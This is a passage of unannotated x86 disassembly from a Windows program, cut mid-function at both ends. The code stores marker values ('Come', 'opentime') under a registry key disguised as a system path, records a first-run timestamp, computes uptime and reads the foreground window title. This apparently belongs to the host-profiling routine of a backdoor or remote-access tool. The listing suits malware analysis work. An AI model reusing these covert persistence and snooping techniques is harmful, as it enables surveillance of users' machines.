lea ecx, [ebp - 0x674]
push ecx
push 0
push 0
call edi
lea edx, [ebp - 0x1b3c]
push edx
lea eax, [ebx + 0x1fbe]
push 0x43ea88
push eax
call esi
add esp, 0xc
xor ecx, ecx
push 0x7fe
push ecx
lea edx, [ebp - 0x53aa]
push edx
mov word [ebp - 0x53ac], cx
call fcn.00422ed0
lea eax, [ebp - 0x53ac]
add esp, 0xc
push eax
mov ecx, str.Come
call fcn.004065e0
add esp, 4
lea ecx, [ebp - 0x53ac]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edx, [ebp - 0x274]
test eax, eax
jne 0x408154
push 0x104
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x407da2
push eax
call fcn.00421f62
dec eax
test eax, eax
jle 0x407dcb
mov ecx, 0x5c
lea esp, [esp]
cmp word [ebp + eax*2 - 0x274], cx
je 0x407dc1
dec eax
test eax, eax
jg 0x407db0
jmp 0x407dcb
xor ecx, ecx
mov word [ebp + eax*2 - 0x272], cx
push str.versionComeOn
lea edx, [ebp - 0x274]
push edx
mov eax, edx
push 0x43f14c
push eax
call esi
xor ecx, ecx
push 0x7fe
push ecx
lea edx, [ebp - 0x1b3a]
push edx
mov word [ebp - 0x1b3c], cx
call fcn.00422ed0
add esp, 0x1c
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x274]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
push edi
call fcn.0041de98
add esp, 4
push 0
push 0
push edi
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x274]
push ecx
push 0
push 0
mov dword [ebp - 0x74d4], eax
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edx, dword [ebp - 0x74d4]
push 0x43ec28
push edx
call fcn.0042145e
add esp, 8
mov dword [ebp - 0x74d0], eax
test eax, eax
jne 0x407e90
push 0x43f158
lea eax, [ebp - 0x1b3c]
push 0x43ea88
push eax
call esi
add esp, 0xc
lea ecx, [ebp - 0x1b3c]
push ecx
push 0x43ea88
lea edx, [ebx + 0x21b2]
push edx
jmp 0x4082d7
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x274]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
push edi
call fcn.0041de98
add esp, 4
push 0
push 0
push edi
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x274]
push ecx
push 0
push 0
mov dword [ebp - 0x74d4], eax
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edx, dword [ebp - 0x74d4]
push 0x43ec28
push edx
call fcn.0042145e
mov edi, eax
add esp, 8
test edi, edi
je 0x407f1d
push 2
push 0
push edi
call fcn.00421b31
add esp, 0xc
push edi
call fcn.004216b1
add esp, 4
push edi
mov dword [ebp - 0x74d4], eax
call fcn.00421c1a
add esp, 4
cmp dword [ebp - 0x74d4], 0
jne 0x407f27
push 0x43f164
jmp 0x407e67
mov edi, dword [ebp - 0x74d0]
push edi
lea eax, [ebp - 0xa5c]
push 0x3e8
push eax
call fcn.00421090
add esp, 0xc
test eax, eax
je 0x407f8b
jmp 0x407f50
lea ecx, [ebp - 0xa5c]
push 0x43f170
push ecx
call fcn.004211c8
lea edx, [ebp - 0xa5c]
push edx
push 0x43da00
call fcn.004212e5
push edi
lea eax, [ebp - 0xa5c]
push 0x3e8
push eax
call fcn.00421090
add esp, 0x1c
test eax, eax
jne 0x407f50
push edi
call fcn.00421c1a
add esp, 4
xor eax, eax
jmp 0x407fa0
mov cl, byte [ebp + eax - 0xa5c]
mov byte [ebp + eax - 0x65c], cl
inc eax
test cl, cl
jne 0x407fa0
lea eax, [ebp - 0xa5c]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407fc0
sub eax, edx
lea ecx, [ebp - 0xa5c]
push ecx
mov edx, eax
call fcn.00406890
add esp, 4
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x3592]
push eax
mov word [ebp - 0x3594], dx
call fcn.00422ed0
lea eax, [ebp - 0xa5c]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408001
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
sub eax, edx
inc eax
push eax
lea ecx, [ebp - 0xa5c]
push ecx
push 0
push 0
call edi
lea ecx, [ebp - 0xa5c]
lea edx, [ecx + 1]
mov dword [ebp - 0x74d4], edx
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x408032
sub ecx, dword [ebp - 0x74d4]
push eax
lea eax, [ebp - 0x3594]
push eax
inc ecx
push ecx
lea ecx, [ebp - 0xa5c]
push ecx
push 0
push 0
call edi
lea edx, [ebp - 0x3594]
push edx
lea eax, [ebx + 0x21b2]
push 0x43ea88
push eax
call esi
add esp, 0xc
xor ecx, ecx
push 0x7fe
push ecx
lea edx, [ebp - 0x1272]
push edx
mov word [ebp - 0x1274], cx
call fcn.00422ed0
lea eax, [ebp - 0x65c]
add esp, 0xc
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x408095
push 0
sub eax, ecx
push 0
inc eax
push eax
lea eax, [ebp - 0x65c]
push eax
push 0
push 0
call edi
lea ecx, [ebp - 0x65c]
lea edx, [ecx + 1]
mov dword [ebp - 0x74d4], edx
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x4080c0
sub ecx, dword [ebp - 0x74d4]
push eax
lea eax, [ebp - 0x1274]
push eax
inc ecx
push ecx
lea ecx, [ebp - 0x65c]
push ecx
push 0
push 0
call edi
lea edx, [ebp - 0x74c8]
push edx
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x408142
lea eax, [ebp - 0x1274]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, dword [ebp - 0x74c8]
add eax, eax
push eax
lea ecx, [ebp - 0x1274]
push ecx
push 1
push 0
push str.Come
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x408142
mov eax, dword [ebp - 0x74c8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4082e2
mov ecx, dword [ebp - 0x74c8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4082e2
push 0x208
push 0
push edx
mov dword [ebp - 0x74c8], 0
call fcn.00422ed0
add esp, 0xc
lea eax, [ebp - 0x74c8]
push eax
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x74d4], 0x104
mov dword [ebp - 0x74d0], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea ecx, [ebp - 0x74d4]
push ecx
mov ecx, dword [ebp - 0x74c8]
lea edx, [ebp - 0x274]
push edx
lea eax, [ebp - 0x74d0]
push eax
push 0
push str.Come
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edx, dword [ebp - 0x74c8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x3ff
lea eax, [ebp - 0x673]
push 0
push eax
mov byte [ebp - 0x674], 0
call fcn.00422ed0
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea ecx, [ebp - 0x274]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0
push 0
push eax
lea edx, [ebp - 0x674]
push edx
push 0xffffffffffffffff
lea eax, [ebp - 0x274]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [ebp - 0x674]
lea ecx, [eax + 1]
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x408230
sub eax, ecx
lea ecx, [ebp - 0x674]
push ecx
mov edx, eax
call fcn.00406890
add esp, 4
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x1b3a]
push eax
mov word [ebp - 0x1b3c], dx
call fcn.00422ed0
lea eax, [ebp - 0x674]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408271
push 0
push 0
sub eax, edx
inc eax
push eax
lea ecx, [ebp - 0x674]
push ecx
push 0
push 0
call edi
lea ecx, [ebp - 0x674]
lea edx, [ecx + 1]
mov dword [ebp - 0x74cc], edx
lea esp, [esp]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x4082a0
sub ecx, dword [ebp - 0x74cc]
push eax
lea eax, [ebp - 0x1b3c]
push eax
inc ecx
push ecx
lea ecx, [ebp - 0x674]
push ecx
push 0
push 0
call edi
lea edx, [ebp - 0x1b3c]
push edx
push 0x43ea88
lea eax, [ebx + 0x21b2]
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
add esp, 0xc
mov ecx, ebx
call fcn.0040ca40
xor ecx, ecx
push 0x7fe
push ecx
lea edx, [ebp - 0x5baa]
push edx
mov word [ebp - 0x5bac], cx
call fcn.00422ed0
lea eax, [ebp - 0x5bac]
add esp, 0xc
push eax
mov ecx, 0x43f174
call fcn.004065e0
add esp, 4
lea ecx, [ebp - 0x5bac]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x408554
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x1b3a]
push eax
mov word [ebp - 0x1b3c], dx
call fcn.00422ed0
lea ecx, [ebp - 0x1b3c]
add esp, 0xc
push ecx
mov ecx, str.opentime
call fcn.004065e0
add esp, 4
lea edx, [ebp - 0x1b3c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x40838e
push 0x43f19c
lea eax, [ebx + 0x23a6]
push 0x43ea88
push eax
call esi
add esp, 0xc
jmp 0x408539
push 0x208
lea ecx, [ebp - 0x274]
push 0
push ecx
mov dword [ebp - 0x74c8], 0
call fcn.00422ed0
add esp, 0xc
lea edx, [ebp - 0x74c8]
push edx
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x74d4], 0x104
mov dword [ebp - 0x74d0], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea eax, [ebp - 0x74d4]
push eax
mov eax, dword [ebp - 0x74c8]
lea ecx, [ebp - 0x274]
push ecx
lea edx, [ebp - 0x74d0]
push edx
push 0
push str.opentime
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x40841c
push 0x43f1a4
push 0x43ea88
lea ecx, [ebx + 0x23a6]
push ecx
jmp 0x408527
push 0x3ff
lea edx, [ebp - 0x673]
push 0
push edx
mov byte [ebp - 0x674], 0
call fcn.00422ed0
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x274]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0
push 0
push eax
lea ecx, [ebp - 0x674]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x274]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [ebp - 0x674]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408480
sub eax, edx
lea ecx, [ebp - 0x674]
push ecx
mov edx, eax
call fcn.00406910
add esp, 4
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x1272]
push eax
mov word [ebp - 0x1274], dx
call fcn.00422ed0
lea eax, [ebp - 0x674]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4084c1
push 0
push 0
sub eax, edx
inc eax
push eax
lea ecx, [ebp - 0x674]
push ecx
push 0
push 0
call edi
lea ecx, [ebp - 0x674]
lea edx, [ecx + 1]
mov dword [ebp - 0x74cc], edx
lea esp, [esp]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x4084f0
sub ecx, dword [ebp - 0x74cc]
push eax
lea eax, [ebp - 0x1274]
push eax
inc ecx
push ecx
lea ecx, [ebp - 0x674]
push ecx
push 0
push 0
call edi
lea edx, [ebp - 0x1274]
push edx
push 0x43ea88
lea eax, [ebx + 0x23a6]
push eax
call esi
mov ecx, dword [ebp - 0x74c8]
add esp, 0xc
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x43f1b0
lea edx, [ebx + 0x227a]
push 0x43ea88
push edx
call esi
add esp, 0xc
jmp 0x408dea
push 0x208
lea eax, [ebp - 0x87c]
push 0
push eax
mov dword [ebp - 0x74cc], 0
call fcn.00422ed0
add esp, 0xc
lea ecx, [ebp - 0x74cc]
push ecx
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x74d4], 0x104
mov dword [ebp - 0x74d0], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea edx, [ebp - 0x74d4]
push edx
mov edx, dword [ebp - 0x74cc]
lea eax, [ebp - 0x87c]
push eax
lea ecx, [ebp - 0x74d0]
push ecx
push 0
push 0x43f174
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x4085e7
push 0x43f1b8
lea eax, [ebx + 0x227a]
push 0x43ea88
push eax
call esi
add esp, 0xc
jmp 0x408ddd
push 0x3ff
lea ecx, [ebp - 0x673]
push 0
push ecx
mov byte [ebp - 0x674], 0
call fcn.00422ed0
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea edx, [ebp - 0x87c]
push edx
push 0
push 0
call esi
push 0
push 0
push eax
lea eax, [ebp - 0x674]
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x87c]
push ecx
push 0
push 0
call esi
lea eax, [ebp - 0x674]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408645
sub eax, edx
lea edx, [ebp - 0x674]
push edx
mov edx, eax
call fcn.00406910
add esp, 4
xor eax, eax
push 0x7fe
push eax
lea ecx, [ebp - 0x3d92]
push ecx
mov word [ebp - 0x3d94], ax
call fcn.00422ed0
lea eax, [ebp - 0x674]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408686
push 0
sub eax, edx
push 0
inc eax
push eax
lea edx, [ebp - 0x674]
push edx
push 0
push 0
call edi
lea ecx, [ebp - 0x674]
lea esi, [ecx + 1]
jmp 0x4086b0
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x4086b0
push eax
sub ecx, esi
lea eax, [ebp - 0x3d94]
push eax
inc ecx
push ecx
lea ecx, [ebp - 0x674]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea esi, [ebp - 0x3d94]
call fcn.00406520
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
test eax, eax
je 0x408bbf
push str.X__W
lea edx, [ebx + 0x227a]
push 0x43ea88
push edx
call esi
add esp, 0xc
xor eax, eax
push 0x7fe
push eax
lea ecx, [ebp - 0x2d92]
push ecx
mov word [ebp - 0x2d94], ax
call fcn.00422ed0
lea edx, [ebp - 0x2d94]
add esp, 0xc
push edx
mov ecx, str.opentime
call fcn.004065e0
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
add esp, 4
lea eax, [ebp - 0x2d94]
push eax
call edi
test eax, eax
jne 0x4089d8
lea ecx, [ebp - 0x73bc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [ebp - 0x73b0]
movzx eax, word [ebp - 0x73b2]
movzx ecx, word [ebp - 0x73b4]
push edx
movzx edx, word [ebp - 0x73b6]
push eax
movzx eax, word [ebp - 0x73ba]
push ecx
movzx ecx, word [ebp - 0x73bc]
push edx
push eax
push ecx
lea edx, [ebp - 0x26c]
push 0x43ea14
push edx
call esi
push 0x3ff
lea eax, [ebp - 0x3193]
push 0
push eax
mov byte [ebp - 0x3194], 0
call fcn.00422ed0
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0x2c
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea ecx, [ebp - 0x26c]
push ecx
push 0
push 0
call esi
push 0
push 0
push eax
lea edx, [ebp - 0x3194]
push edx
push 0xffffffffffffffff
lea eax, [ebp - 0x26c]
push eax
push 0
push 0
call esi
lea eax, [ebp - 0x3194]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4087f5
sub eax, edx
lea ecx, [ebp - 0x3194]
push ecx
mov edx, eax
call fcn.00406910
add esp, 4
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x1b3a]
push eax
mov word [ebp - 0x1b3c], dx
call fcn.00422ed0
lea eax, [ebp - 0x3194]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408836
push 0
push 0
sub eax, edx
inc eax
push eax
lea ecx, [ebp - 0x3194]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [ebp - 0x3194]
mov esi, eax
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408861
push esi
sub ecx, edi
lea edx, [ebp - 0x1b3c]
push edx
inc ecx
push ecx
lea eax, [ebp - 0x3194]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [ebp - 0x74c8]
push ecx
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x4088da
lea edx, [ebp - 0x1b3c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x74c8]
add eax, eax
push eax
lea eax, [ebp - 0x1b3c]
push eax
push 1
push 0
push str.opentime
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x4088da
mov edx, dword [ebp - 0x74c8]
push edx
jmp 0x4088e1
mov eax, dword [ebp - 0x74c8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x3ff
lea ecx, [ebp - 0xe73]
push 0
push ecx
mov byte [ebp - 0xe74], 0
call fcn.00422ed0
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea edx, [ebp - 0x1b3c]
push edx
push 0
push 0
call esi
push 0
push 0
push eax
lea eax, [ebp - 0xe74]
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x1b3c]
push ecx
push 0
push 0
call esi
lea eax, [ebp - 0xe74]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408945
sub eax, edx
lea edx, [ebp - 0xe74]
push edx
mov edx, eax
call fcn.00406910
lea eax, [ebp - 0xe74]
add esp, 4
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408968
push 0
sub eax, edx
push 0
inc eax
push eax
lea eax, [ebp - 0xe74]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [ebp - 0xe74]
mov esi, eax
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408993
push esi
sub ecx, edi
lea edx, [ebp - 0x1b3c]
push edx
inc ecx
push ecx
lea eax, [ebp - 0xe74]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [ebp - 0x1b3c]
push ecx
lea edx, [ebx + 0x23a6]
push 0x43ea88
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
jmp 0x408ddd
xor eax, eax
push 0x7fe
push eax
lea ecx, [ebp - 0x1b3a]
push ecx
mov word [ebp - 0x1b3c], ax
call fcn.00422ed0
lea edx, [ebp - 0x1b3c]
add esp, 0xc
push edx
mov ecx, str.opentime
call fcn.004065e0
add esp, 4
lea eax, [ebp - 0x1b3c]
push eax
call edi
test eax, eax
jne 0x408a32
push 0x43f19c
lea ecx, [ebx + 0x23a6]
push 0x43ea88
push ecx
call esi
add esp, 0xc
jmp 0x408ddd
push 0x208
lea edx, [ebp - 0x274]
push 0
push edx
mov dword [ebp - 0x74c8], 0
call fcn.00422ed0
add esp, 0xc
lea eax, [ebp - 0x74c8]
push eax
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x74e8], 0x104
mov dword [ebp - 0x73b0], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea ecx, [ebp - 0x74e8]
push ecx
mov ecx, dword [ebp - 0x74c8]
lea edx, [ebp - 0x274]
push edx
lea eax, [ebp - 0x73b0]
push eax
push 0
push str.opentime
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x408ac2
push 0x43f1a4
lea edx, [ebx + 0x23a6]
push 0x43ea88
push edx
call esi
jmp 0x408dcd
push 0x3ff
lea eax, [ebp - 0xe73]
push 0
push eax
mov byte [ebp - 0xe74], 0
call fcn.00422ed0
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea ecx, [ebp - 0x274]
push ecx
push 0
push 0
call esi
push 0
push 0
push eax
lea edx, [ebp - 0xe74]
push edx
push 0xffffffffffffffff
lea eax, [ebp - 0x274]
push eax
push 0
push 0
call esi
lea eax, [ebp - 0xe74]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408b20
sub eax, edx
lea ecx, [ebp - 0xe74]
push ecx
mov edx, eax
call fcn.00406910
add esp, 4
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x3592]
push eax
mov word [ebp - 0x3594], dx
call fcn.00422ed0
lea eax, [ebp - 0xe74]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408b61
push 0
push 0
sub eax, edx
inc eax
push eax
lea ecx, [ebp - 0xe74]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [ebp - 0xe74]
mov esi, eax
lea edi, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408b90
push esi
sub ecx, edi
lea edx, [ebp - 0x3594]
push edx
inc ecx
push ecx
lea eax, [ebp - 0xe74]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [ebp - 0x3594]
jmp 0x408dba
push str.1YHe
lea ecx, [ebx + 0x227a]
push 0x43ea88
push ecx
call esi
add esp, 0xc
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x2d92]
push eax
mov word [ebp - 0x2d94], dx
call fcn.00422ed0
lea ecx, [ebp - 0x2d94]
add esp, 0xc
push ecx
mov ecx, str.opentime
call fcn.004065e0
add esp, 4
lea edx, [ebp - 0x2d94]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x408c33
push 0x43f19c
lea eax, [ebx + 0x23a6]
push 0x43ea88
push eax
call esi
add esp, 0xc
jmp 0x408ddd
push 0x208
lea ecx, [ebp - 0x274]
push 0
push ecx
mov dword [ebp - 0x74c8], 0
call fcn.00422ed0
add esp, 0xc
lea edx, [ebp - 0x74c8]
push edx
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x73b0], 0x104
mov dword [ebp - 0x74e8], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea eax, [ebp - 0x73b0]
push eax
mov eax, dword [ebp - 0x74c8]
lea ecx, [ebp - 0x274]
push ecx
lea edx, [ebp - 0x74e8]
push edx
push 0
push str.opentime
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x408cc3
push 0x43f1a4
lea ecx, [ebx + 0x23a6]
push 0x43ea88
push ecx
call esi
jmp 0x408dcd
push 0x3ff
lea edx, [ebp - 0xe73]
push 0
push edx
mov byte [ebp - 0xe74], 0
call fcn.00422ed0
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x274]
push eax
push 0
push 0
call esi
push 0
push 0
push eax
lea ecx, [ebp - 0xe74]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x274]
push edx
push 0
push 0
call esi
lea eax, [ebp - 0xe74]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408d21
sub eax, edx
lea ecx, [ebp - 0xe74]
push ecx
mov edx, eax
call fcn.00406910
add esp, 4
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x1b3a]
push eax
mov word [ebp - 0x1b3c], dx
call fcn.00422ed0
lea eax, [ebp - 0xe74]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408d62
push 0
push 0
sub eax, edx
inc eax
push eax
lea ecx, [ebp - 0xe74]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [ebp - 0xe74]
mov esi, eax
lea edi, [ecx + 1]
lea ecx, [ecx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408d90
push esi
sub ecx, edi
lea edx, [ebp - 0x1b3c]
push edx
inc ecx
push ecx
lea eax, [ebp - 0xe74]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [ebp - 0x1b3c]
push ecx
lea edx, [ebx + 0x23a6]
push 0x43ea88
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
mov eax, dword [ebp - 0x74c8]
add esp, 0xc
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x74cc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp - 0x74dc]
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
push edx
lea eax, [ebx + 0x2342]
push 0x43ea88
push eax
call edi
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea ecx, [ebp - 0x7554]
push ecx
mov esi, eax
call fcn.00421c8e
mov ecx, dword [ebp - 0x7554]
mov eax, 0x10624dd3
mul esi
shr edx, 6
xor eax, eax
add esp, 4
sub ecx, edx
mov edx, dword [ebp - 0x7550]
sbb edx, eax
lea eax, [ebp - 0x754c]
push eax
mov dword [ebp - 0x754c], ecx
mov dword [ebp - 0x7548], edx
call fcn.00421a13
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add esp, 4
push ecx
mov ecx, dword [eax + 8]
push edx
mov edx, dword [eax + 0xc]
push ecx
mov ecx, dword [eax + 0x10]
push edx
mov edx, dword [eax + 0x14]
inc ecx
push ecx
add edx, 0x76c
push edx
lea eax, [ebx + 0x2086]
push str._d._d._d__d:_d:_d
push eax
call edi
add esp, 0x20
lea ecx, [ebx + 0x240a]
call fcn.0040a700
lea ecx, [ebx + 0x246e]
call fcn.0040ab10
lea esi, [ebx + 0x24d2]
call fcn.0040ad50
lea ecx, [ebx + 0x22de]
call fcn.0040b2a0
push 0x3ff
push ecx
call fcn.0040a3c0
add esp, 4
push eax
lea ecx, [ebx + 0x2d36]
push 0x400
push ecx
call fcn.00420a34
call fcn.00406720
push eax
lea edx, [ebx + 0x6c5e]
push 0x43ea88
push edx
call edi
add esp, 0x1c
lea ecx, [ebx + 0x4d36]
call fcn.0040b610
lea ecx, [ebx + 0x4d9a]
call fcn.0040b850
lea ecx, [ebx + 0x4dfe]
call fcn.0040ba90
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
push 0x43f1f4
push 0x44b370
call esi
test eax, eax
jne 0x408f35
lea ecx, [ebx + 0x4e62]
call fcn.0040bcd0
lea ecx, [ebx + 0x4ec6]
call fcn.0040c140
lea eax, [ebx + 0x5b5e]
push eax
lea ecx, [ebx + 0x5a5e]
push ecx
lea edx, [ebx + 0x595e]
push edx
lea eax, [ebx + 0x412]
lea edx, [ebx + 0x585e]
lea ecx, [ebx + 0x575e]
push eax
call fcn.0040cdd0
lea edx, [ebx + 0x5a2]
lea ecx, [ebx + 0xf86]
push edx
call fcn.0040cf90
add esp, 0x14
call dword [sym.imp.USER32.dll_GetForegroundWindow]
test eax, eax
je 0x408f94
push 0xfa
lea ecx, [ebx + 0x6ce]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
push 0x43f1f4
push 0x44b370
call esi
push 0x7fe
push 0
test eax, eax
jne 0x40939f
lea eax, [ebp - 0x2d92]
xor edx, edx
push eax
mov word [ebp - 0x2d94], dx
call fcn.00422ed0
lea ecx, [ebp - 0x2d94]
add esp, 0xc
push ecx
mov ecx, str.FroxMXOifjScall
call fcn.004065e0
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
add esp, 4
lea edx, [ebp - 0x2d94]
push edx
call esi
test eax, eax
jne 0x409202
push 0x7fe
push eax
